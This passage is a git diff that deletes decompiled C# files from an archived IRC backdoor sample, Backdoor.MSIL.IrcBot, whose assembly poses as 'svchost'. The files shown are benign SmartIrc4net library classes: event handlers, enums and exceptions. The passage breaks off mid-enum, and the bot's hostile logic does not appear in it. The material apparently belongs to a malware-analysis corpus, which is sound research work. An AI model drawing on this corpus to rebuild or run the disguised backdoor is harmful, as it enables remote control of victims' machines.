PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public class NickChangeEventArgs : IrcEventArgs - { - private string _OldNickname; - private string _NewNickname; - - public string OldNickname => this._OldNickname; - - public string NewNickname => this._NewNickname; - - internal NickChangeEventArgs(IrcMessageData data, string oldnick, string newnick) - : base(data) - { - this._OldNickname = oldnick; - this._NewNickname = newnick; - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/NickChangeEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/NickChangeEventHandler.cs deleted file mode 100644 index e03cfec8..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/NickChangeEventHandler.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.NickChangeEventHandler -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public delegate void NickChangeEventHandler(object sender, NickChangeEventArgs e); -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/NonRfcChannel.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/NonRfcChannel.cs deleted file mode 100644 index cd5eb398..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/NonRfcChannel.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.NonRfcChannel -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -using System.Collections; - -namespace Meebey.SmartIrc4net -{ - public class NonRfcChannel : Channel - { - private Hashtable _Halfops = Hashtable.Synchronized(new Hashtable((IHashCodeProvider) new CaseInsensitiveHashCodeProvider(), (IComparer) new CaseInsensitiveComparer())); - - internal NonRfcChannel(string name) - : base(name) - { - } - - public Hashtable Halfops => (Hashtable) this._Halfops.Clone(); - - internal Hashtable UnsafeHalfops => this._Halfops; - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/NonRfcChannelUser.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/NonRfcChannelUser.cs deleted file mode 100644 index 2681ed8d..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/NonRfcChannelUser.cs +++ /dev/null @@ -1,26 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.NonRfcChannelUser -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public class NonRfcChannelUser : ChannelUser - { - private bool _IsHalfop; - private bool _IsOwner; - private bool _IsAdmin; - - internal NonRfcChannelUser(string channel, IrcUser ircuser) - : base(channel, ircuser) - { - } - - public bool IsHalfop - { - get => this._IsHalfop; - set => this._IsHalfop = value; - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/NotConnectedException.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/NotConnectedException.cs deleted file mode 100644 index d2278439..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/NotConnectedException.cs +++ /dev/null @@ -1,34 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.NotConnectedException -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -using System; -using System.Runtime.Serialization; - -namespace Meebey.SmartIrc4net -{ - [Serializable] - public class NotConnectedException : ConnectionException - { - public NotConnectedException() - { - } - - public NotConnectedException(string message) - : base(message) - { - } - - public NotConnectedException(string message, Exception e) - : base(message, e) - { - } - - protected NotConnectedException(SerializationInfo info, StreamingContext context) - : base(info, context) - { - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/OpEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/OpEventArgs.cs deleted file mode 100644 index a389b7a7..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/OpEventArgs.cs +++ /dev/null @@ -1,29 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.OpEventArgs -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public class OpEventArgs : IrcEventArgs - { - private string _Channel; - private string _Who; - private string _Whom; - - public string Channel => this._Channel; - - public string Who => this._Who; - - public string Whom => this._Whom; - - internal OpEventArgs(IrcMessageData data, string channel, string who, string whom) - : base(data) - { - this._Channel = channel; - this._Who = who; - this._Whom = whom; - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/OpEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/OpEventHandler.cs deleted file mode 100644 index 21847f68..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/OpEventHandler.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.OpEventHandler -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public delegate void OpEventHandler(object sender, OpEventArgs e); -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/PartEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/PartEventArgs.cs deleted file mode 100644 index b6c8b7ae..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/PartEventArgs.cs +++ /dev/null @@ -1,29 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.PartEventArgs -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public class PartEventArgs : IrcEventArgs - { - private string _Channel; - private string _Who; - private string _PartMessage; - - public string Channel => this._Channel; - - public string Who => this._Who; - - public string PartMessage => this._PartMessage; - - internal PartEventArgs(IrcMessageData data, string channel, string who, string partmessage) - : base(data) - { - this._Channel = channel; - this._Who = who; - this._PartMessage = partmessage; - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/PartEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/PartEventHandler.cs deleted file mode 100644 index 9e0a8915..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/PartEventHandler.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.PartEventHandler -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public delegate void PartEventHandler(object sender, PartEventArgs e); -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/PingEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/PingEventArgs.cs deleted file mode 100644 index 33f221a2..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/PingEventArgs.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.PingEventArgs -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public class PingEventArgs : IrcEventArgs - { - private string _PingData; - - public string PingData => this._PingData; - - internal PingEventArgs(IrcMessageData data, string pingdata) - : base(data) - { - this._PingData = pingdata; - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/PingEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/PingEventHandler.cs deleted file mode 100644 index 62c8e328..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/PingEventHandler.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.PingEventHandler -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public delegate void PingEventHandler(object sender, PingEventArgs e); -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/PongEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/PongEventArgs.cs deleted file mode 100644 index d0650635..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/PongEventArgs.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.PongEventArgs -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -using System; - -namespace Meebey.SmartIrc4net -{ - public class PongEventArgs : IrcEventArgs - { - private TimeSpan _Lag; - - public TimeSpan Lag => this._Lag; - - internal PongEventArgs(IrcMessageData data, TimeSpan lag) - : base(data) - { - this._Lag = lag; - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/PongEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/PongEventHandler.cs deleted file mode 100644 index fceb4461..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/PongEventHandler.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.PongEventHandler -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public delegate void PongEventHandler(object sender, PongEventArgs e); -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/Priority.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/Priority.cs deleted file mode 100644 index f2bbfcca..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/Priority.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.Priority -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public enum Priority - { - Low, - BelowMedium, - Medium, - AboveMedium, - High, - Critical, - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ProxyType.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ProxyType.cs deleted file mode 100644 index 23c8f9fa..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ProxyType.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.ProxyType -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public enum ProxyType - { - None, - Http, - Socks4, - Socks4a, - Socks5, - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/QuitEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/QuitEventArgs.cs deleted file mode 100644 index 0319e120..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/QuitEventArgs.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.QuitEventArgs -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public class QuitEventArgs : IrcEventArgs - { - private string _Who; - private string _QuitMessage; - - public string Who => this._Who; - - public string QuitMessage => this._QuitMessage; - - internal QuitEventArgs(IrcMessageData data, string who, string quitmessage) - : base(data) - { - this._Who = who; - this._QuitMessage = quitmessage; - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/QuitEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/QuitEventHandler.cs deleted file mode 100644 index 6a3f4596..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/QuitEventHandler.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.QuitEventHandler -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public delegate void QuitEventHandler(object sender, QuitEventArgs e); -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ReadLineEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ReadLineEventArgs.cs deleted file mode 100644 index 86bb9adc..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ReadLineEventArgs.cs +++ /dev/null @@ -1,19 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.ReadLineEventArgs -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -using System; - -namespace Meebey.SmartIrc4net -{ - public class ReadLineEventArgs : EventArgs - { - private string _Line; - - public string Line => this._Line; - - internal ReadLineEventArgs(string line) => this._Line = line; - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ReadLineEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ReadLineEventHandler.cs deleted file mode 100644 index 9e57588d..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ReadLineEventHandler.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.ReadLineEventHandler -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public delegate void ReadLineEventHandler(object sender, ReadLineEventArgs e); -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ReceiveType.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ReceiveType.cs deleted file mode 100644 index cbb24f64..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ReceiveType.cs +++ /dev/null @@ -1,44 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.ReceiveType -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public enum ReceiveType - { - Info, - Login, - Motd, - List, - Join, - Kick, - Part, - Invite, - Quit, - Who, - WhoIs, - WhoWas, - Name, - Topic, - BanList, - NickChange, - TopicChange, - UserMode, - UserModeChange, - ChannelMode, - ChannelModeChange, - ChannelMessage, - ChannelAction, - ChannelNotice, - QueryMessage, - QueryAction, - QueryNotice, - CtcpReply, - CtcpRequest, - Error, - ErrorMessage, - Unknown, - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ReplyCode.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ReplyCode.cs deleted file mode 100644 index dd747e99..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ReplyCode.cs +++ /dev/null @@ -1,150 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.ReplyCode -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public enum ReplyCode - { - Null = 0, - Welcome = 1, - YourHost = 2, - Created = 3, - MyInfo = 4, - Bounce = 5, - TraceLink = 200, // 0x000000C8 - TraceConnecting = 201, // 0x000000C9 - TraceHandshake = 202, // 0x000000CA - TraceUnknown = 203, // 0x000000CB - TraceOperator = 204, // 0x000000CC - TraceUser = 205, // 0x000000CD - TraceServer = 206, // 0x000000CE - TraceService = 207, // 0x000000CF - TraceNewType = 208, // 0x000000D0 - TraceClass = 209, // 0x000000D1 - TraceReconnect = 210, // 0x000000D2 - StatsLinkInfo = 211, // 0x000000D3 - StatsCommands = 212, // 0x000000D4 - EndOfStats = 219, // 0x000000DB - UserModeIs = 221, // 0x000000DD - ServiceList = 234, // 0x000000EA - ServiceListEnd = 235, // 0x000000EB - StatsUptime = 242, // 0x000000F2 - StatsOLine = 243, // 